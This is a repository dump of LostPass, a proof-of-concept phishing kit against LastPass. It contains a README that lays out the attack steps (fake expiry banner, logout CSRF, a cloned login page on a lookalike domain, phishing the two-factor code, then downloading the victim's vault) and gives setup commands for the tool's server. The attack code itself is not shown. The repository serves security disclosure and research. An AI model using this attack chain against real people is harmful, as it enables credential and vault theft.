├── .gitignore ├── Gruntfile.js ├── README.md ├── chrome4 ├── backup.html ├── buttons.css ├── dialog.css ├── gauthlastpass.png ├── general.css ├── icon.gif ├── images │ ├── asterisk.png │ ├── help_128.png │ ├── lpwhite_small.png │ └── vault_4.0 │ │ ├── Advanced_Closed.png │ │ ├── Advanced_Open.png │ │ ├── Attachment_Black.png │ │ ├── Attachment_Close.png │ │ ├── Caps.png │ │ ├── Check_Modal.png │ │ ├── Delete.png │ │ ├── Dialog_Close.png │ │ ├── Dialog_Maximize.png │ │ ├── Edit.png │ │ ├── Error.png │ │ ├── Error_Close.png │ │ ├── Eye_Hide.png │ │ ├── Eye_Show.png │ │ ├── Favorite.png │ │ ├── Favorite_Selected.png │ │ ├── Folder_Dropdown.png │ │ ├── History_Item_Button.png │ │ ├── Input_Error.png │ │ ├── Keyboard.png │ │ ├── LastPass_White.png │ │ ├── List_Delete.png │ │ ├── List_Edit.png │ │ ├── List_Share.png │ │ ├── More_Actions_Closed.png │ │ ├── Plus_for_Add_Button.png │ │ ├── Radial_Empty.png │ │ ├── Radial_Filled.png │ │ ├── Reject.png │ │ ├── Reject_Tile.png │ │ ├── Search.png │ │ ├── Search_Close.png │ │ ├── Share.png │ │ ├── Success.png │ │ ├── Success_Close.png │ │ ├── Tooltip.png │ │ └── Uncheck_Modal.png ├── loginDialog.css ├── lp_toolstrip.css ├── lp_toolstrip.html ├── lp_toolstrip.html.bkup ├── newvaultGlobal.css ├── notifications.css ├── popupcombobox.css ├── server.py ├── server_demo.py ├── styles.css ├── tabDialog.html ├── x.gif └── yubicoring16.png ├── images ├── 2fa.png ├── firefox_osx.png ├── firefox_win.png ├── login1.png └── notification.png ├── lostpass_shmoocon_slides.pdf ├── package.json └── src ├── chrome.css ├── chrome.html ├── firefox.css ├── firefox.html ├── firefox_login.css ├── firefox_login_osx.html ├── firefox_login_win.html ├── lostpass.html ├── lostpass.js └── test.html /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.swo 3 | node_modules 4 | target 5 | build 6 | .DS_Store 7 | env 8 | -------------------------------------------------------------------------------- /Gruntfile.js: -------------------------------------------------------------------------------- 1 | function wrapFile(str) { 2 | var lines = str.split("\n"); 3 | return lines.map(function(s) { 4 | return '\'' + s + '\''; 5 | }).join('+\n'); 6 | } 7 | 8 | module.exports = function(grunt) { 9 | grunt.initConfig({ 10 | pkg: grunt.file.readJSON('package.json'), 11 | uglify: { 12 | options: { 13 | banner: '/*! <%= pkg.name %> <%= grunt.template.today("yyyy-mm-dd") %> */\n', 14 | }, 15 | build: { 16 | src: 'target/<%= pkg.name %>.js', 17 | dest: 'build/<%= pkg.name %>.min.js' 18 | } 19 | }, 20 | copy: { 21 | main: { 22 | nonull: true, 23 | src: 'src/<%= pkg.name %>.js', 24 | dest: 'target/<%= pkg.name %>_raw.js', 25 | options: { 26 | process: function (content, srcpath) { 27 | return grunt.template.process(content); 28 | } 29 | } 30 | }, 31 | test: { 32 | nonull: true, 33 | src: 'src/test.html', 34 | dest: 'IGNORED' 35 | }, 36 | }, 37 | concat: { 38 | dist: { 39 | src: ['target/<%= pkg.name %>_raw.js', 'node_modules/interact.js/dist/interact.js'], 40 | dest: 'target/<%= pkg.name %>.js' 41 | } 42 | }, 43 | multidest: { 44 | test: { 45 | tasks: ['copy:test'], 46 | dest: ['target/test.html', 'build/test.html'] 47 | } 48 | }, 49 | clean: ["target", "build"], 50 | replace: { 51 | minjs: { 52 | src: ['build/test.html'], 53 | overwrite: true, 54 | replacements: [{ 55 | from: 'lostpass.js', 56 | to: 'lostpass.min.js' 57 | }] 58 | } 59 | }, 60 | watch: { 61 | main: { 62 | files: "src/*", 63 | tasks: "default" 64 | } 65 | }, 66 | assets: { 67 | chrome: { 68 | html: wrapFile(grunt.file.read('src/chrome.html', {encoding: 'utf-8'})), 69 | css: wrapFile(grunt.file.read('src/chrome.css', {encoding: 'utf-8'})) 70 | }, 71 | firefox: { 72 | html: wrapFile(grunt.file.read('src/firefox.html', {encoding: 'utf-8'})), 73 | css: wrapFile(grunt.file.read('src/firefox.css', {encoding: 'utf-8'})) 74 | }, 75 | firefox_login: { 76 | html: { 77 | osx: wrapFile(grunt.file.read('src/firefox_login_osx.html', {encoding: 'utf-8'})), 78 | win: wrapFile(grunt.file.read('src/firefox_login_win.html', {encoding: 'utf-8'})), 79 | }, 80 | css: wrapFile(grunt.file.read('src/firefox_login.css', {encoding: 'utf-8'})) 81 | } 82 | } 83 | }); 84 | 85 | grunt.loadNpmTasks('grunt-contrib-uglify'); 86 | grunt.loadNpmTasks('grunt-contrib-copy'); 87 | grunt.loadNpmTasks('grunt-contrib-clean'); 88 | grunt.loadNpmTasks('grunt-multi-dest'); 89 | grunt.loadNpmTasks('grunt-text-replace'); 90 | grunt.loadNpmTasks('grunt-contrib-watch'); 91 | grunt.loadNpmTasks('grunt-contrib-concat'); 92 | 93 | grunt.registerTask('default', ['copy:main', 'concat', 'uglify', 'multidest', 'replace']); 94 | }; 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LostPass 2 | 3 | A tool to phish LastPass accounts. See [my blog 4 | post](https://www.seancassidy.me/lostpass.html) for more information. 5 | 6 | ## Screenshots 7 | 8 | This is LostPass in action. 9 | 10 | ### Chrome notification 11 | 12 | This notification pops up on a benign-looking website. 13 | 14 |  15 | 16 | ### Chrome login screen 17 | 18 | This is shown after the user clicks our malicious notification. 19 | 20 |  21 | 22 | Notice how it uses the domain `chrome-extension.pw`, which is close to Chrome's 23 | built-in `chrome-extension` protocol. Since the connection is over HTTP, the 24 | icon looks similar. This 25 | [Chromium issue](https://code.google.com/p/chromium/issues/detail?id=453093) 26 | is open to address this issue. 27 | 28 | ### Chrome two-factor prompt 29 | 30 | This is shown if the user has two-factor authentication enabled. 31 | 32 |  33 | 34 | ### Firefox login on Windows 8 35 | 36 | This is drawn using HTML5 and CSS. Even the Windows appear/close animation is 37 | done. One of them is real, one of them is LostPass. Which one? 38 | 39 |  40 | 41 | ## How it works 42 | 43 | 1. Get the victim to go to a malicious website that looks benign, or a real 44 | website that is vulnerable to XSS 45 | 2. If they have LastPass installed, show the login expired notification and log 46 | the user out of LastPass (Logout CSRF) 47 | 3. Once the victim clicks on the fake banner, direct them to an 48 | attacker-controlled login page that looks identical to the LastPass one 49 | 4. The victim will enter their password and send the credentials to the 50 | attacker's server 51 | 5. If the username and password is incorrect, redirect them back to the 52 | malicious site and redisplay the banner with "Invalid Password" 53 | 6. If the user has two-factor authentication, redirect them to a two-factor 54 | authentication page. Once they enter their two-factor token, try it. 55 | 7. Once the attacker has the correct username and password (and two-factor 56 | token), download all of the victim's information from the LastPass API 57 | 58 | LostPass does steps 2 through 7. Some things to note about why this is so 59 | effective: 60 | 61 | - Many responses to the phishing problem are "Train the users", as if it was 62 | their fault that they were phished. Training is not effective at combating 63 | LostPass because there is little to no difference in what is shown to the 64 | user 65 | - LastPass's login workflow is complex and somewhat buggy. Sometimes it shows 66 | in-viewport login pages, and sometimes it shows them as popup windows. 67 | - It is easy to detect LastPass and it was even easier to find the exact HTML 68 | and CSS that LastPass uses to show notifications and login pages 69 | - It even phishes for the two-factor auth code, so 2FA is no help 70 | 71 | See [the FAQ I wrote](https://www.seancassidy.me/lostpass.html) for more 72 | information. 73 | 74 | ## Setup 75 | 76 | After getting nodejs and npm installed: 77 | 78 | npm install -g grunt-cli 79 | npm install 80 | grunt 81 | 82 | To run server.py, you'll need lastpass-python and bottle. 83 | 84 | virtualenv env 85 | source env/bin/activate 86 | pip install lastpass-python bottle 87 | cd chrome4/ 88 | python server.py 89 | 90 | It seems that there are some bugs in lastpass-python as not all accounts can be 91 | logged in to. 92 | 93 | ## Status 94 | 95 | This is a proof-of-concept. It is not written particularly well or 96 | maintainable. I am not particularly interested in making it weaponized. I may 97 | accept PRs if they are useful or instructive or fix obvious bugs. 98 | 99 | -------------------------------------------------------------------------------- /chrome4/backup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
Are you sure?
Using 'remember password' makes it easier to forget your password and decreases your security if your device is infected or stolen.